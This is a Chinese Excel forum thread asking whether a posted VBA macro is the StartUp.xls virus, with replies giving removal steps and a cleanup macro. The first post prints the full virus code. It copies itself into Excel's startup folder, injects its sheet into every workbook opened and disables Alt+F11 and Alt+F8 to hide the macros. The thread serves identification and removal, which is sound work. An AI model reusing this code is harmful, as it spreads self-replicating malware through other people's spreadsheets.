[已解决]请问一下以下代码是不是startup宏病毒？

windimi007

代码可能是病毒，大家小心点。
最近有很多人都反映中了startup宏病毒，想问一下是不是下面的这段？{:4512:}

1. Sub auto_open()
   
2.     On Error Resume Next
   
3.     If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "" & "StartUp.xls") = "" Then
   
4.         Application.ScreenUpdating = False
   
5.         ThisWorkbook.Sheets("StartUp").Copy
   
6.         ActiveWorkbook.SaveAs (Application.StartupPath & "" & "StartUp.xls")
   
7.         n$ = ActiveWorkbook.Name
   
8.         ActiveWindow.Visible = False
   
9.         Workbooks("StartUp.xls").Save
   
10.         Workbooks(n$).Close (False)
    
11.     End If
    
12.     Application.OnSheetActivate = "StartUp.xls!cop"
    
13.     Application.OnKey "%{F11}", "StartUp.xls!escape"
    
14.     Application.OnKey "%{F8}", "StartUp.xls!escape"
    
15. End Sub
    
16. Sub cop()
    
17.     On Error Resume Next
    
18.     If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    
19.         Application.ScreenUpdating = False
    
20.         n$ = ActiveSheet.Name
    
21.         Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    
22.         Sheets(n$).Select
    
23.     End If
    
24. End Sub

复制代码

最佳答案

月排行榜 / 总排行榜

ゅ尛魔鱼ゅ°

2011-7-31 11:30

StartUp.xls宏病毒清除方法及步骤：（excel宏病毒）

StartUp.xls宏病毒清除方法

第一步：清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART下的StartUp.xls；

第二步：清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\的Excel11.exe(约236K)。（Excel程序会自建该文件）

第三步：新建C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART\startup.xls文件，输入以下代码（代码在图片下面）就行了，以后再打开带毒的excel文件就会自动清除excel文件自带的病毒宏代码。

（注意：其中有些事隐藏文件，你看不到，按照下面说的做就可以看到那些隐藏文件：打开我的电脑》》工具》》文件夹选项》》“隐藏受保护的操作系统文件（推荐）”前面的勾打掉》》选中“显示隐藏的文件、文件夹和驱动器”》》去掉“隐藏已知文件类型的扩展名”的勾。）

代码如下：
      Sub auto_open()

On Error Resume Next

Application.ScreenUpdating = False

ActiveWindow.Visible = False

n$ = ActiveWorkbook.Name

Workbooks(n$).Close (False)

Application.OnSheetActivate = "StartUp.xls!cop"

End Sub

Sub cop()

On Error Resume Next

Dim VBC As Object

Dim Name As String

Dim delComponent As VBComponent

Name = "StartUp"

For Each book In Workbooks

Set delComponent = book.VBProject.VBComponents(Name)

book.VBProject.VBComponents.Remove delComponent

Next

End Sub

（说明：早上才发现中了此毒，也不知潜伏了多久，幸亏一哥们提醒，教给我方法把毒给灭了，给大家分享分享，在此也感谢发明这方法的老师以及将这好方法广为流传造福我的大仙们）

跳转到最佳答案楼层

macky591

windimi007 发表于 2011-7-31 10:07
代码可能是病毒，大家小心点。
最近有很多人都反映中了startup宏病毒，想问一下是不是下面的这段？{:4512: ...

谢谢分享，我前几天就见到有个论坛会员文件中就带有此宏病毒

望天打卦

晕 我也中了

snow1204

小七哥·~~~{:021:}~~~

ゅ尛魔鱼ゅ°

StartUp.xls宏病毒清除方法及步骤：（excel宏病毒）

StartUp.xls宏病毒清除方法

第一步：清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART下的StartUp.xls；

第二步：清除C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\的Excel11.exe(约236K)。（Excel程序会自建该文件）

第三步：新建C:\Documents and Settings\administrator\Application Data\Microsoft\Excel\XLSTART\startup.xls文件，输入以下代码（代码在图片下面）就行了，以后再打开带毒的excel文件就会自动清除excel文件自带的病毒宏代码。

（注意：其中有些事隐藏文件，你看不到，按照下面说的做就可以看到那些隐藏文件：打开我的电脑》》工具》》文件夹选项》》“隐藏受保护的操作系统文件（推荐）”前面的勾打掉》》选中“显示隐藏的文件、文件夹和驱动器”》》去掉“隐藏已知文件类型的扩展名”的勾。）

代码如下：
      Sub auto_open()

On Error Resume Next

Application.ScreenUpdating = False

ActiveWindow.Visible = False

n$ = ActiveWorkbook.Name

Workbooks(n$).Close (False)

Application.OnSheetActivate = "StartUp.xls!cop"

End Sub

Sub cop()

On Error Resume Next

Dim VBC As Object

Dim Name As String

Dim delComponent As VBComponent

Name = "StartUp"

For Each book In Workbooks

Set delComponent = book.VBProject.VBComponents(Name)

book.VBProject.VBComponents.Remove delComponent

Next

End Sub

（说明：早上才发现中了此毒，也不知潜伏了多久，幸亏一哥们提醒，教给我方法把毒给灭了，给大家分享分享，在此也感谢发明这方法的老师以及将这好方法广为流传造福我的大仙们）

windimi007

回复 ゅ尛魔鱼ゅ° 的帖子

收藏了，下次再中就不怕了！{:3512:}

ゅ尛魔鱼ゅ°

回复 windimi007 的帖子

7哥{:011:}

小安安

[原创]Results宏病毒处理工具
http://www.excelpx.com/forum.php ... &fromuid=467413
去这里看看wayy版主的杀毒软件去 呵呵……

lcx22

Dim delComponent As VBComponent

运行到此句时有问题。请问怎么调试？

lcx22

试一下，我快疯了！